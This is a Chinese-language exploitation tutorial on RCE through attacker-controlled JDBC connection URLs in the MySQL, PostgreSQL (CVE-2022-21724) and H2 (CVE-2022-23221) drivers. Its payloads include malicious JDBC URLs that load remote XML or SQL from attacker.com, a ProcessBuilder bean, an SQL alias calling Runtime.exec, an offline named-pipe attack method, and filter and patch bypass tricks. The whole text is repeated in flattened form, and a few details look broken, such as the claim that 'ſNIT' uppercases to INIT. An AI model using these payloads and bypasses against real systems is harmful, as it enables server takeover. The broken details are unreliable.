JDBC反序列化漏洞:从原理到实战的多数据库RCE利用解析
字数 6199 2025-09-23 19:27:46

JDBC反序列化漏洞:从原理到实战的多数据库RCE利用解析

一、 JDBC反序列化认识

1.1 漏洞背景与简介

JDBC(Java Database Connectivity)是Java为各类数据库提供的统一接口规范,应用程序通过JDBC调用接口与数据库进行交互。反序列化漏洞是Java安全领域的核心问题之一,与表达式注入、JNDI注入并称为“Java安全的三板斧”。当攻击者能够控制JDBC连接设置项时,通过构造恶意配置指向恶意服务器或特定参数,可触发ObjectInputStream.readObject()反序列化过程,若环境中存在可利用的Gadget链,则可能造成远程代码执行(RCE)。

1.2 基本连接与触发点

典型的JDBC连接代码如下:

public static void main(String[] args) throws Exception{
    String DB_URL = "jdbc:mysql://127.0.0.1:3306/sectest?var=value";
    Driver driver = new com.mysql.jdbc.Driver();
    Connection conn = driver.connect(DB_URL, props); // 连接点
    Statement stmt = conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,.);
}

漏洞产生的关键在于连接参数可控。MySQL JDBC驱动中以下几个参数与反序列化密切相关:

  • autoDeserialize:用于在反序列化时自动检测是否存在BLOB字段。
  • detectCustomCollations:若为true,驱动在建立连接时会从服务器获取字符集/排序规则信息。
  • queryInterceptors:允许在Query执行前后插入拦截器操作以影响结果。

1.3 MySQL JDBC反序列化链

通过控制上述参数,可以触发两条已知的反序列化利用链:

  1. detectCustomCollations:适用于MySQL 5.x版本。设置detectCustomCollations=true可触发特定逻辑进行反序列化。
  2. ServerStatusDiffInterceptor:适用于MySQL 8.x版本(<= 8.0.20)。指定queryInterceptors参数为com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor,利用该拦截器触发反序列化。

漏洞原理:攻击过程的核心在于ResultSetUtil.resultSetToMap()方法。该方法会检查autoDeserialize参数是否开启。若开启,则会对从MySQL服务器传来的data直接进行反序列化操作(ObjectInputStream.readObject())。因此,只要JDBC连接的URL可控,且目标环境ClassPath中存在合适的反序列化Gadget链(如Commons-Collections, Commons-Beanutils等),即可实现RCE。

利用条件

  • JDBC连接URL完全可控。
  • MySQL驱动版本受影响(具体版本范围视利用链而定,ServerStatusDiffInterceptor链影响至8.0.20)。
  • 目标服务器的ClassPath中存在可利用的反序列化Gadget链。

实战验证:可使用工具(如Java-Chains)生成CCK2等Gadget链的Payload,构造恶意MySQL服务器或通过JDBC URL参数触发,成功执行命令(如弹出计算器)。

二、 Mysql JDBC反序列化不出网怎么打

传统的MySQL JDBC反序列化利用依赖于攻击者搭建的恶意MySQL服务器(mysql_fakeServer)返回恶意序列化数据。在目标不出网的情况下,此方法失效。

2.1 核心思路:替换通信通道

出网利用的核心是TCP/IP的Socket通信。不出网利用的核心思路是:寻找JDBC驱动中支持替代TCP/IP的通信方式,并将恶意数据包通过此方式传递给驱动进行解析

MySQL驱动提供了SocketFactory接口用于定义如何创建与数据库服务器的底层连接。默认实现为StandardSocketFactory。其另一个实现NamedPipeSocketFactory支持使用命名管道(Named Pipe) 作为IO通信通道。

  • Windows命名管道\\.\pipe\MySQL
  • Linux命名管道:使用mkfifo命令创建,如/tmp/MySQL

NamedPipeSocketFactoryconnect方法支持通过namedPipePath配置项指定管道路径。该配置可通过JDBC URL参数设置。

2.2 利用原理

  1. 攻击者将恶意序列化数据包写入服务器上的一个文件(如/tmp/malicious_packet)。
  2. 通过可控的JDBC URL,指定socketFactoryNamedPipeSocketFactory,并设置namedPipePath(或相关参数)指向该恶意文件路径。
    • 示例URL:jdbc:mysql://127.0.0.1:3306/test?socketFactory=com.mysql.jdbc.NamedPipeSocketFactory&namedPipePath=/tmp/malicious_packet
  3. 驱动在建立连接时,会使用NamedPipeSocketFactory读取namedPipePath指定的文件,并将其内容作为与“服务器”交互的IO流。
  4. 驱动解析该文件流,触发反序列化漏洞,实现不出网RCE。

2.3 利用条件与挑战

  • 条件1:JDBC URL完全可控,可设置socketFactory和管道路径参数。
  • 条件2:能将恶意数据包上传到目标服务器已知的绝对路径下。
  • 条件3:目标系统支持命名管道(通常均支持)。
  • 挑战:对执行查询数据包大小的限制不能太小。原始利用中可能因数据包过大导致失败。

2.4 拓展利用思路

  • 文件上传点:利用后台或其他文件上传功能上传恶意数据包。
  • Spring Web缓存:利用Spring框架的文件上传缓存机制,将恶意数据包作为临时文件写入目标服务器,并预测其路径。
  • 数据包构造:通过Wireshark抓取正常流量包,将Payload嵌入并伪装成图片等格式上传以规避大小检查。

总结:不出网利用手法苛刻但可行,核心在于文件IO替代网络IO

三、 PgJDBC 反序列化漏洞 (CVE-2022-21724)

PostgreSQL的JDBC驱动(PgJDBC)在2022年被曝出反序列化漏洞CVE-2022-21724。

3.1 漏洞概述

  • 影响版本9.4.1208 <= PgJDBC <= 42.2.2542.3.0 <= PgJDBC <= 42.3.2
  • 漏洞原因:PgJDBC驱动在建立连接时,允许通过URL参数控制用于创建Socket的工厂类(socketFactory)及其构造函数参数(socketFactoryArg)。攻击者可利用此机制实例化任意类并执行其构造函数中的代码。

3.2 利用原理

PgJDBC连接字符串格式:
jdbc:postgresql://host:port/database?param1=value1&param2=value2

利用Payload构造:
jdbc:postgresql://node/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://127.0.0.1/poc.xml

  • socketFactory:指定要实例化的工厂类。此处利用Spring框架的ClassPathXmlApplicationContext
  • socketFactoryArg:作为指定工厂类构造函数的参数。此处指定一个远程XML配置文件URL。

3.3 关键类:ClassPathXmlApplicationContext

ClassPathXmlApplicationContext是Spring框架中用于加载应用上下文配置的类。它可以从类路径、HTTP、文件系统等多种协议位置读取XML配置文件,并根据配置创建和管理Spring Bean。

恶意XML示例 (poc.xml):

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="evil" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
            <list>
                <value>calc.exe</value>
            </list>
        </constructor-arg>
    </bean>
</beans>

该XML定义了一个Bean,其类型为java.lang.ProcessBuilder,并在初始化(init-method)时调用start()方法,从而执行命令calc.exe

3.4 漏洞触发流程

  1. PgJDBC驱动解析连接URL。
  2. 获取到socketFactory=ClassPathXmlApplicationContextsocketFactoryArg=http://attacker.com/poc.xml
  3. org.postgresql.core.v3.ConnectionFactoryImpl#openConnectionImpl中,驱动尝试实例化socketFactory指定的类。
  4. 实例化ClassPathXmlApplicationContext,并将socketFactoryArg作为参数传递给其构造函数。
  5. ClassPathXmlApplicationContext初始化,从远程URL (http://attacker.com/poc.xml) 加载XML配置文件。
  6. 解析XML,创建ProcessBuilder Bean并执行init-method指定的start()方法,导致RCE。

备注:同样可以利用FileSystemXmlApplicationContext加载本地XML文件实现不出网利用。

四、 H2 Database如何RCE?(JDK环境)

H2 Database是一个纯Java编写的内存数据库,常用于小型应用和测试。

4.1 H2 Database未授权访问

H2自带一个Web控制台(通常位于/h2-console)。若配置不当(如未设置密码或仅校验回环地址),可能导致未授权访问。结合SSRF漏洞可绕过回环地址限制。

校验逻辑位于org.h2.server.web.WebServlet#allow

4.2 H2 Database 未授权打JNDI

早期H2版本(< 2.0.206)的org.h2.util.JdbcUtils#getConnection方法存在缺陷,未对传入参数做充分限制,可通过指定var0java.naming.Context(即JNDI)来触发JNDI注入,进而利用LDAP协议加载远程恶意类实现RCE。

4.3 H2 Database未授权SQL绕过RCE (CVE-2022-23221)

H2支持在JDBC连接字符串的INIT参数中指定数据库初始化时执行的SQL语句。这是H2 RCE最常见的方式。

基础利用Payload
jdbc:h2:mem:testdb;INIT=RUNSCRIPT FROM 'http://attacker.com/evil.sql'

evil.sql内容:

CREATE ALIAS EXEC AS 'String exec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) { return s.next(); } throw new IOException(); }';
CALL EXEC('calc.exe');

此SQL脚本创建了一个名为EXEC的函数别名,其实现调用了Runtime.getRuntime().exec()

补丁与绕过

  • 补丁:H2在1.4.198后增加了FORBID_CREATION=TRUE属性,默认ifExists=true时会自动添加,禁止创建新数据库。
  • 绕过:通过对分号进行转义来绕过补丁。Payload如下:
    jdbc:h2:mem:testdb\;TRACE_LEVEL_SYSTEM_OUT=3\;INIT=RUNSCRIPT FROM 'http://attacker.com/evil.sql'

4.4 H2 JDBC连接处URL可控的打法

INIT参数利用相同,只要可控的URL能指定INIT=RUNSCRIPTINIT=CREATE ALIAS ...,即可执行任意Java代码。可利用工具(如Java-Chains)生成字节码加载的Payload写入SQL文件进行利用。

4.5 H2 Database如何RCE?(仅存在JRE)

  • 问题:如果目标环境只有JRE没有JDK(即无javac命令),执行包含Java源代码的INIT脚本会失败。
  • JDK < 15 解法:可利用Java内置的JS引擎执行JavaScript代码。
  • JDK >= 15 解法(无JS引擎):
    1. 利用Spring环境:使用CREATE ALIAS调用Spring的ReflectUtils等工具,反射调用ClassPathXmlApplicationContext的构造函数来加载远程恶意XML(同PgJDBC利用)。
    2. 非Spring环境:结合CB链与commons-io等库,通过CREATE ALIAS调用相关方法实现文件写入等操作,再加载写入的类或脚本。

五、 一些Bypass的手法

5.1 绕过空格限制

若应用过滤空格,可使用Tab符(\t)进行绕过:
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
可改写为:
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

5.2 绕过TRUE限制

  • 使用大小写变形:True, TRUE
  • 使用同义词:yes
  • 进行URL编码:t%72ue (对部分字符编码)。

5.3 绕过INIT参数限制

H2会自动将参数名转换为大写。可利用特殊字符进行混淆:

  • “ı” (U+0131, Latin Small Letter Dotless I) 大写后变为 “I”。
  • “ſ” (U+017F, Latin Small Letter Long S) 大写后变为 “S”。
    因此,INIT可写为 ıNıTſNIT,以此绕过对INIT关键词的简单过滤。

5.4 绕过autoDeserialize=false限制

如果驱动强制设置了autoDeserialize=false,可通过注释符/**/将参数分割绕过:
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=/ ** /true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor


免责声明:本文档仅用于安全研究与教学目的,旨在帮助安全人员理解漏洞原理并提升防护能力。请勿将其用于任何非法用途。

JDBC反序列化漏洞:从原理到实战的多数据库RCE利用解析 一、 JDBC反序列化认识 1.1 漏洞背景与简介 JDBC(Java Database Connectivity)是Java为各类数据库提供的统一接口规范,应用程序通过JDBC调用接口与数据库进行交互。反序列化漏洞是Java安全领域的核心问题之一,与表达式注入、JNDI注入并称为“Java安全的三板斧”。当攻击者能够控制JDBC连接设置项时,通过构造恶意配置指向恶意服务器或特定参数,可触发 ObjectInputStream.readObject() 反序列化过程,若环境中存在可利用的Gadget链,则可能造成远程代码执行(RCE)。 1.2 基本连接与触发点 典型的JDBC连接代码如下: 漏洞产生的关键在于连接参数可控。MySQL JDBC驱动中以下几个参数与反序列化密切相关: autoDeserialize :用于在反序列化时自动检测是否存在BLOB字段。 detectCustomCollations :若为 true ,驱动在建立连接时会从服务器获取字符集/排序规则信息。 queryInterceptors :允许在Query执行前后插入拦截器操作以影响结果。 1.3 MySQL JDBC反序列化链 通过控制上述参数,可以触发两条已知的反序列化利用链: detectCustomCollations 链 :适用于MySQL 5.x版本。设置 detectCustomCollations=true 可触发特定逻辑进行反序列化。 ServerStatusDiffInterceptor 链 :适用于MySQL 8.x版本(<= 8.0.20)。指定 queryInterceptors 参数为 com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor ,利用该拦截器触发反序列化。 漏洞原理 :攻击过程的核心在于 ResultSetUtil.resultSetToMap() 方法。该方法会检查 autoDeserialize 参数是否开启。若开启,则会对从MySQL服务器传来的 data 直接进行反序列化操作( ObjectInputStream.readObject() )。因此,只要JDBC连接的URL可控,且目标环境ClassPath中存在合适的反序列化Gadget链(如Commons-Collections, Commons-Beanutils等),即可实现RCE。 利用条件 : JDBC连接URL完全可控。 MySQL驱动版本受影响(具体版本范围视利用链而定, ServerStatusDiffInterceptor 链影响至8.0.20)。 目标服务器的ClassPath中存在可利用的反序列化Gadget链。 实战验证 :可使用工具(如Java-Chains)生成CCK2等Gadget链的Payload,构造恶意MySQL服务器或通过JDBC URL参数触发,成功执行命令(如弹出计算器)。 二、 Mysql JDBC反序列化不出网怎么打 传统的MySQL JDBC反序列化利用依赖于攻击者搭建的恶意MySQL服务器(mysql_ fakeServer)返回恶意序列化数据。在目标不出网的情况下,此方法失效。 2.1 核心思路:替换通信通道 出网利用的核心是TCP/IP的Socket通信。不出网利用的核心思路是: 寻找JDBC驱动中支持替代TCP/IP的通信方式,并将恶意数据包通过此方式传递给驱动进行解析 。 MySQL驱动提供了 SocketFactory 接口用于定义如何创建与数据库服务器的底层连接。默认实现为 StandardSocketFactory 。其另一个实现 NamedPipeSocketFactory 支持使用 命名管道(Named Pipe) 作为IO通信通道。 Windows命名管道 : \\.\pipe\MySQL Linux命名管道 :使用 mkfifo 命令创建,如 /tmp/MySQL NamedPipeSocketFactory 的 connect 方法支持通过 namedPipePath 配置项指定管道路径。该配置可通过JDBC URL参数设置。 2.2 利用原理 攻击者将恶意序列化数据包写入服务器上的一个文件(如 /tmp/malicious_packet )。 通过可控的JDBC URL,指定 socketFactory 为 NamedPipeSocketFactory ,并设置 namedPipePath (或相关参数)指向该恶意文件路径。 示例URL: jdbc:mysql://127.0.0.1:3306/test?socketFactory=com.mysql.jdbc.NamedPipeSocketFactory&namedPipePath=/tmp/malicious_packet 驱动在建立连接时,会使用 NamedPipeSocketFactory 读取 namedPipePath 指定的文件,并将其内容作为与“服务器”交互的IO流。 驱动解析该文件流,触发反序列化漏洞,实现不出网RCE。 2.3 利用条件与挑战 条件1 :JDBC URL完全可控,可设置 socketFactory 和管道路径参数。 条件2 :能将恶意数据包上传到目标服务器已知的绝对路径下。 条件3 :目标系统支持命名管道(通常均支持)。 挑战 :对执行查询数据包大小的限制不能太小。原始利用中可能因数据包过大导致失败。 2.4 拓展利用思路 文件上传点 :利用后台或其他文件上传功能上传恶意数据包。 Spring Web缓存 :利用Spring框架的文件上传缓存机制,将恶意数据包作为临时文件写入目标服务器,并预测其路径。 数据包构造 :通过Wireshark抓取正常流量包,将Payload嵌入并伪装成图片等格式上传以规避大小检查。 总结 :不出网利用手法苛刻但可行,核心在于 文件IO替代网络IO 。 三、 PgJDBC 反序列化漏洞 (CVE-2022-21724) PostgreSQL的JDBC驱动(PgJDBC)在2022年被曝出反序列化漏洞CVE-2022-21724。 3.1 漏洞概述 影响版本 : 9.4.1208 <= PgJDBC <= 42.2.25 和 42.3.0 <= PgJDBC <= 42.3.2 。 漏洞原因 :PgJDBC驱动在建立连接时,允许通过URL参数控制用于创建Socket的工厂类( socketFactory )及其构造函数参数( socketFactoryArg )。攻击者可利用此机制实例化任意类并执行其构造函数中的代码。 3.2 利用原理 PgJDBC连接字符串格式: jdbc:postgresql://host:port/database?param1=value1&param2=value2 利用Payload构造: jdbc:postgresql://node/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://127.0.0.1/poc.xml socketFactory :指定要实例化的工厂类。此处利用Spring框架的 ClassPathXmlApplicationContext 。 socketFactoryArg :作为指定工厂类构造函数的参数。此处指定一个远程XML配置文件URL。 3.3 关键类:ClassPathXmlApplicationContext ClassPathXmlApplicationContext 是Spring框架中用于加载应用上下文配置的类。它可以从类路径、HTTP、文件系统等多种协议位置读取XML配置文件,并根据配置创建和管理Spring Bean。 恶意XML示例 ( poc.xml ): 该XML定义了一个Bean,其类型为 java.lang.ProcessBuilder ,并在初始化( init-method )时调用 start() 方法,从而执行命令 calc.exe 。 3.4 漏洞触发流程 PgJDBC驱动解析连接URL。 获取到 socketFactory=ClassPathXmlApplicationContext 和 socketFactoryArg=http://attacker.com/poc.xml 。 在 org.postgresql.core.v3.ConnectionFactoryImpl#openConnectionImpl 中,驱动尝试实例化 socketFactory 指定的类。 实例化 ClassPathXmlApplicationContext ,并将 socketFactoryArg 作为参数传递给其构造函数。 ClassPathXmlApplicationContext 初始化,从远程URL ( http://attacker.com/poc.xml ) 加载XML配置文件。 解析XML,创建 ProcessBuilder Bean并执行 init-method 指定的 start() 方法,导致RCE。 备注 :同样可以利用 FileSystemXmlApplicationContext 加载本地XML文件实现不出网利用。 四、 H2 Database如何RCE?(JDK环境) H2 Database是一个纯Java编写的内存数据库,常用于小型应用和测试。 4.1 H2 Database未授权访问 H2自带一个Web控制台(通常位于 /h2-console )。若配置不当(如未设置密码或仅校验回环地址),可能导致未授权访问。结合SSRF漏洞可绕过回环地址限制。 校验逻辑位于 org.h2.server.web.WebServlet#allow 。 4.2 H2 Database 未授权打JNDI 早期H2版本(< 2.0.206)的 org.h2.util.JdbcUtils#getConnection 方法存在缺陷,未对传入参数做充分限制,可通过指定 var0 为 java.naming.Context (即JNDI)来触发JNDI注入,进而利用LDAP协议加载远程恶意类实现RCE。 4.3 H2 Database未授权SQL绕过RCE (CVE-2022-23221) H2支持在JDBC连接字符串的 INIT 参数中指定数据库初始化时执行的SQL语句。这是H2 RCE最常见的方式。 基础利用Payload : jdbc:h2:mem:testdb;INIT=RUNSCRIPT FROM 'http://attacker.com/evil.sql' evil.sql 内容: 此SQL脚本创建了一个名为 EXEC 的函数别名,其实现调用了 Runtime.getRuntime().exec() 。 补丁与绕过 : 补丁 :H2在1.4.198后增加了 FORBID_CREATION=TRUE 属性,默认 ifExists=true 时会自动添加,禁止创建新数据库。 绕过 :通过对分号进行转义来绕过补丁。Payload如下: jdbc:h2:mem:testdb\;TRACE_LEVEL_SYSTEM_OUT=3\;INIT=RUNSCRIPT FROM 'http://attacker.com/evil.sql' 4.4 H2 JDBC连接处URL可控的打法 与 INIT 参数利用相同,只要可控的URL能指定 INIT=RUNSCRIPT 或 INIT=CREATE ALIAS ... ,即可执行任意Java代码。可利用工具(如Java-Chains)生成字节码加载的Payload写入SQL文件进行利用。 4.5 H2 Database如何RCE?(仅存在JRE) 问题 :如果目标环境只有JRE没有JDK(即无 javac 命令),执行包含Java源代码的 INIT 脚本会失败。 JDK < 15 解法 :可利用Java内置的JS引擎执行JavaScript代码。 JDK >= 15 解法 (无JS引擎): 利用Spring环境 :使用 CREATE ALIAS 调用Spring的 ReflectUtils 等工具,反射调用 ClassPathXmlApplicationContext 的构造函数来加载远程恶意XML(同PgJDBC利用)。 非Spring环境 :结合CB链与 commons-io 等库,通过 CREATE ALIAS 调用相关方法实现文件写入等操作,再加载写入的类或脚本。 五、 一些Bypass的手法 5.1 绕过空格限制 若应用过滤空格,可使用Tab符( \t )进行绕过: jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor 可改写为: jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor 5.2 绕过TRUE限制 使用大小写变形: True , TRUE 。 使用同义词: yes 。 进行URL编码: t%72ue (对部分字符编码)。 5.3 绕过INIT参数限制 H2会自动将参数名转换为大写。可利用特殊字符进行混淆: “ı” (U+0131, Latin Small Letter Dotless I) 大写后变为 “I”。 “ſ” (U+017F, Latin Small Letter Long S) 大写后变为 “S”。 因此, INIT 可写为 ıNıT 或 ſNIT ,以此绕过对 INIT 关键词的简单过滤。 5.4 绕过autoDeserialize=false限制 如果驱动强制设置了 autoDeserialize=false ,可通过注释符 /**/ 将参数分割绕过: jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=/ ** /true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor 免责声明 :本文档仅用于安全研究与教学目的,旨在帮助安全人员理解漏洞原理并提升防护能力。请勿将其用于任何非法用途。